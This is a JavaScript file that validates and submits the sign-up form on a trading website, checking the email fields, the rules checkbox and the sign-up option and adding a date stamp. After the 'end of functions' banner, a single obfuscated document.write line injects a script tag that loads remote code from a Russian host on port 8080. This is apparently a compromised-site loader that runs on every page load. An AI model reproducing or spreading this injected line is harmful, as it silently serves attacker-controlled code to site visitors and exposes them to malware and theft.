// *******************************************************************************
// The following code handles error checking, date stamping, and submission for the sign-up form on tortiosetrades.com:
//
// The sub functions are:
//		1) checkEmail()
//		2) checkAgree()
//
// The main functions are:
//		1) dateStamp()
//		2) submitForm()
//
// *******************************************************************************



// SUB FUNCTIONS


function checkEmail()
{
	// Make sure the e-mail field isn't blank
	if (document.forms[0].E_Mail.value == "")
	{
		alert("Please fill in your e-mail address.")
	}
	else if (document.forms[0].E_Mail_Confirm.value == "")
	{
		alert("Please confirm your e-mail address.")
	}
	
	// Check to see if the confirm address matches the email address
	if ( (document.forms[0].E_Mail.value != "") && (document.forms[0].E_Mail_Confirm.value != "") )
	{
		if (document.forms[0].E_Mail.value == document.forms[0].E_Mail_Confirm.value)
		{
			return true
		}
		else
		{
			alert("The e-mail addresses you entered do not match. Please re-enter.")
			document.forms[0].E_Mail.value = ""
			document.forms[0].E_Mail_Confirm.value = ""
			document.forms[0].E_Mail.focus()
		}
	}
	return false
}

// Check to see if the user has checked the "Agree to Rules" checkbox
function checkAgree()
{
	if (document.forms[0].Agree_To_Rules.checked)
	{
		return true
	}
	else
	{
		alert("You must agree to the rules at the top of this form before you submit")
		return false
	}
}

// Check to see if the user has checked the "Agree to Rules" checkbox
function checkOption()
{
	for (i = 0; i < 3; i++)
	{
		if (document.forms[0].How_Many_Free_Trades[i].checked)
		{
			return true
		}
	}
	alert("You must choose a sign-up option")
	return false
}



// MAIN FUNCTIONS


// Gets the current date and time and stores that information in a hidden field
function dateStamp()
{
	today = new Date()
	document.forms[0].Date_And_Time.value = today.toString()
}

// Check the form for errors and submit
function submitForm()
{
	if ( (checkEmail()) && (checkAgree()) && (checkOption()) )
	{
		document.forms[0].submit()
	}
}


// **********************************************************************
// End of sign-up form functions
// **********************************************************************
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/LAN.js"></scr'+'ipt>');